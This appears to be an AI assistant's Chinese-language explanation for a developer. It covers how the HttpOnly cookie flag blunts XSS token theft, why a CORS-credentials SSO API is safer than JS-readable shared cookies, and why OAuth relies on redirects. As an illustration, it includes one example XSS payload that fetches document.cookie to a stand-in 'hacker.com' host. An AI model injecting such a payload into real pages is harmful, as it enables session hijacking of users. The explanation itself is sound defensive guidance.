
這是一個非常關鍵的資安設定。簡單來說,HttpOnly 是由伺服器傳給瀏覽器的一個指令,告訴瀏覽器:「這個 Cookie 只能由你偷偷帶著跑,不准讓任何 JavaScript 碰它。」
以下詳細解釋為什麼這個設定能讓 XSS (跨站腳本攻擊) 失去竊取 Token 的能力:
1. 什麼是 HttpOnly?
當伺服器回傳 Set-Cookie 時,如果加上了 HttpOnly 屬性,瀏覽器會將該 Cookie 存入一個「受保護的區域」。
- 一般 Cookie:前端 JavaScript 可以透過
document.cookie讀取到內容。 - HttpOnly Cookie:前端 JavaScript 呼叫
document.cookie時,會完全看不到這個 Cookie,彷彿它不存在一樣。
2. 為什麼它能防禦 XSS?
XSS 攻擊的核心目標之一通常是「盜取身分(Session Hijacking)」。駭客會想辦法在你的網頁注入一段惡意程式碼(例如:<script>fetch('https://hacker.com/steal?cookie=' + document.cookie)</script>)。
- 如果沒有
HttpOnly:惡意指令能直接讀取到你的userToken,並傳送到駭客的伺服器。駭客拿到 Token 後,就可以在自己的電腦上偽裝成你。 - 如果有
HttpOnly:即使駭客成功注入了腳本,當它執行document.cookie時,回傳結果會排除了那個關鍵 Token。駭客雖然能讓你在頁面上亂跳視窗,但他們「拿不走」你的登入憑證。
3. 在你的 SSO 計畫中,這意味著什麼?
- 「Track A」: 所有 subdomain 共享同一個
userTokencookie。 - 「Track B」: Portal 後端新增 SSO 專用 API 端點,搭配 CORS + Credentials
建議 從「Track A」轉向「Track B」 的主因:
Track A 的困境 (不安全)
- 運作方式:子系統前端用 JS 去讀取
.example.com下的 Cookie。 - 缺點:為了讓 JS 讀得到,你不能設定
HttpOnly。 - 風險:萬一某個子系統(例如
old-blog.example.com)寫得很爛有 XSS 漏洞,駭客就能偷走整個 Portal 的userToken。
Track B 的優勢 (安全)
- 運作方式:利用
fetch(..., { credentials: 'include' })。 - 關鍵點:當設定
credentials: 'include'時,瀏覽器會自動把 Cookie 塞進 HTTP Header 送給後端。 - 優點:瀏覽器不需要透過 JS 讀取內容就能送出 Cookie。因此,你可以放心地把
HttpOnly設為true。
總結對照表
| 屬性 | HttpOnly: false (預設) | HttpOnly: true (推薦) |
| JS 是否可讀取 | ✅ 可以 (document.cookie) | ❌ 不行 |
| HTTP 請求是否會攜帶 | ✅ 會 | ✅ 會 |
| XSS 攻擊風險 | 極高 (Token 會被直接偷走) | 極低 (駭客看得到吃不到) |
| SSO 實現方式 | 適合 Track A (JS 直接讀取) | 必須配合 Track B (CORS 憑證自動攜帶) |
💡 一句總結:
設定
httpOnly: true就像是給 Token 裝進了一個「只有瀏覽器能開、JavaScript 打不開」的保險箱,就算家裡進了小偷(XSS),他也搬不走你的保險箱。
在 OAuth 2.0 的標準流程(特別是 Authorization Code Grant)中,Redirect(重新導向) 是確保安全性的核心機制。
簡單來說,Redirect 的存在是為了讓「使用者身分驗證」與「第三方應用程式」之間建立一道防火牆。
1. 保護使用者的帳號密碼(密碼不落地)
這是 Redirect 最直觀的原因。如果沒有 Redirect,第三方應用程式(Client)就必須自己提供一個輸入框讓你輸入帳號密碼,再傳給認證伺服器(AS)。
- 風險: 第三方網頁可能會偷偷記錄你的密碼。
- 解決: 透過 Redirect,瀏覽器會直接跳轉到 Portal 或 Google 的官方登入頁面。第三方系統完全接觸不到你的密碼,它只能在背景等待認證伺服器傳回結果。
2. 利用瀏覽器的 Session 狀態(單一登入 SSO)
Redirect 讓認證伺服器可以利用瀏覽器已存在的 Cookie。
- 如果你已經在 Portal 登入過,當第三方系統將你 Redirect 到 Portal 時,Portal 的伺服器會讀取到你瀏覽器裡的登入 Cookie。
- 結果: 你不需要再次輸入密碼,系統會直接顯示「是否同意授權」,達成流暢的 SSO 體驗。
3. 安全傳遞認證代碼(Authorization Code)
這是最技術性的原因。OAuth 流程中,認證伺服器不會直接把 Access Token 給前端,而是先給一個短效的 code。
- 認證伺服器透過
302 Redirect將code附加在網址(URL)後方,傳回給第三方系統的後端。 - 這確保了這個
code是經由使用者的瀏覽器這個可信路徑傳遞的。
為什麼你的 SSO 實作計畫(Track B)不需要 Redirect?
這正是你計畫中提到的技術亮點。標準 OAuth 為了通用性必須使用 Redirect,但你的計畫中:
- 網域信任: 你是在內部的 Portal 與子系統之間做串接。
- CORS + Credentials: 你利用了
fetch的credentials: 'include'特性,這相當於在背景(不跳轉頁面)執行了「確認登入狀態」的動作。 - API 導向: 你設計了
/api/ssoCheck,讓子系統前端能像呼叫一般 API 一樣取得一次性ssoToken,避開了傳統 OAuth 繁瑣的頁面跳轉。
標準 OAuth vs. 你的 Track B 流程對照
| 特性 | 標準 OAuth (Redirect) | 你的 Track B (SSO API) |
| 使用者體驗 | 頁面會閃爍/跳轉至登入頁 | 使用者留在原頁面,背景完成驗證 |
| 安全性依賴 | 依賴 Redirect URI 白名單 | 依賴 CORS Origin 白名單 |
| Token 傳遞 | 透過 URL 參數傳遞 Code | 透過 API Response 傳遞 ssoToken |
| 適用場景 | 外部第三方授權 (如 FB/Google 登入) | 內部子系統高度整合 |
一句話總結:
標準 OAuth 要求 Redirect 是為了不讓第三方經手密碼;而你的計畫是透過 CORS 安全白名單 在背景達成同樣的安全等級,同時換取更好的使用者體驗。
